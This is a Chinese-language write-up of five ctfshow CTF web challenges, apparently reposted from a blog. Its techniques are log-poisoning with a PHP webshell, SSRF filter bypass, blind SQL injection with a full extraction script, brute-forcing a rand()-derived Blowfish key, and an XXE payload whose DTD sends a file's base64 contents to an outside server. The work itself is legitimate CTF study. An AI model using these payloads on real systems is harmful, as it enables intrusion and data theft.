文章目錄
- 簽到_觀己
- web1_觀字
- web2_觀星
- web3_觀圖
- web4_觀心
- 參考文章
前言:希望自己能一天天逐漸的改變
簽到_觀己
首先我嘗試了一波data偽協議發現被禁止了,想了半天結果忘記了日志包含了害file=/var/log/nginx/access.log

嘗試在UA中放入一句話木馬

蕪湖,起飛!

system("ls /");

結束

web1_觀字
代碼審計,題目的意思是想我們通過curl http://192.168.7.68/flag的回顯得到flag,但是.被過濾了,然后我想到了把ip轉換為數字,192.168.1.100與3232237668這個是等價的(數字地址與IP地址)但是這道題過濾了0我靠,最后看師傅們的wp可以用,代替.
<?php
#flag in http://192.168.7.68/flag
if(isset($_GET['url'])){
$url = $_GET['url'];
$protocol = substr($url, 0,7);
if($protocol!='http://'){
die('僅限http協議訪問');
}
if(preg_match('/\.|\;|\||\<|\>|\*|\%|\^|\(|\)|\#|\@|\!|\`|\~|\+|\'|\"|\.|\,|\?|\[|\]|\{|\}|\!|\&|\$|0/', $url)){
die('僅限域名地址訪問');
}
system('curl '.$url);
}
最后得到了flag

web2_觀星
一看就知道是sql注入的題,經過fuzz發現一堆被禁用的函式

常規的sql盲注payload大致為
1^if(1=1,1,0)但是我們現在能用的不多
過濾了空格可以用括號代替;
過濾了單引號可以用16進制代替;
過濾了逗號,對于substr可以用 substr(database() from 1 for 1 )代替substr(database(),1,1)
if中有逗號可以用case when代替if;
過濾了 ascii可以用ord代替;
過濾了等號和like可以用regexp代替,
這樣上面的常規陳述句就可以轉化為
id=1^case(ord(substr(database()from(1)for(1))))when(102)then(2)else(3)end
import requests
import time
url = "http://0d7d7067-4ff7-4557-a713-af5bd4d3ed35.chall.ctf.show/index.php?id=0^"
flag = ""
for i in range(1, 50):
for j in range(38, 126):
# payload="case(ord(substr(database()from({0})for(1))))when({1})then(1)else(2)end".format(i,j)
# payload="case(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)regexp(database()))from({0})for(1))))when({1})then(1)else(2)end".format(i,j)
# payload="case(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name)regexp(0x666c6167))from({0})for(1))))when({1})then(1)else(2)end".format(i,j)
payload = "case(ord(substr((select(group_concat(flag))from(flag))from({0})for(1))))when({1})then(1)else(2)end".format(i, j)
u = url + payload
r = requests.get(u)
time.sleep(0.3)
if "By Rudyard Kipling" in r.text:
flag += chr(j)
print(flag)
break
web3_觀圖
首先查看原始碼,發現這個,使用base64解密發現是一堆亂碼,把后面image引數去掉后出現源代碼

在PHP官方檔案當中我們看到,所以具有爆破的可行性
Note: 在某些平臺下(例如 Windows)getrandmax() 只有 32767,如果需要的范圍大于 32767,那么指定 min
和 max 引數就可以生成更大的數了,或者考慮用 mt_rand() 來替代之,
最后爆出來是27347
/*author
Y4tacker
*/
<?php
for($i=0;$i<32768;$i++){
$key = substr(md5('ctfshow'.$i),3,8);
$image="Z6Ilu83MIDw=";
$str = openssl_decrypt($image, 'bf-ecb', $key);
if(strpos($str,"jpg") or strpos($str,"png") or strpos($str,"gif")){
print($i);
break;
}
}
接下來就是拿著密鑰去生成了唄
<?php
/*author
Y4tacker
*/
$rand=27347;
$key = substr(md5('ctfshow'.$rand),3,8);
$image="config.php";
$str = openssl_encrypt($image, 'bf-ecb', $key);
echo $str;
結束

web4_觀心
我也是先玩了一下,臥槽居然真的是這樣的,猜對了,接下里我們查看網頁源代碼得到提示<!-- flag in filesystem /flag.txt -->

啊這,說實話我蒙蔽了,然后我去看了下WP,一看到XXE,hh秒懂,當然WP還沒看完我打算自己琢磨下,先去我的VPS搞一下,我們這里采用的思路是 通過DTD竊取檔案
首先第一個xml檔案為
<?xml version="1.0"?>
<!DOCTYPE data SYSTEM "http://test.y4tacker.top/evil.dtd">
接下來
<!ENTITY % p1 SYSTEM "php://filter/read=convert-base64.encode/resource=/flag.txt">
<!ENTITY % p2 "<!ENTITY xxe SYSTEM 'http://我服務器的ip:7999/?pass=%p1;'>">
%p2;
之后我在我的另一臺服務器上面開啟了監聽

啊這,草草草監聽沒用,不知道為啥,反正頁面報錯出來了flag
,不過猜測應該是內網環境的原因吧
參考文章
SSRF繞過方法總結
XXE漏洞利用技巧:從XML到遠程代碼執行
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/200324.html
標籤:其他
上一篇:vue插槽02-作用域插槽 $parent,$children,遞回組件
下一篇:分析組織的分析框架(第二版)
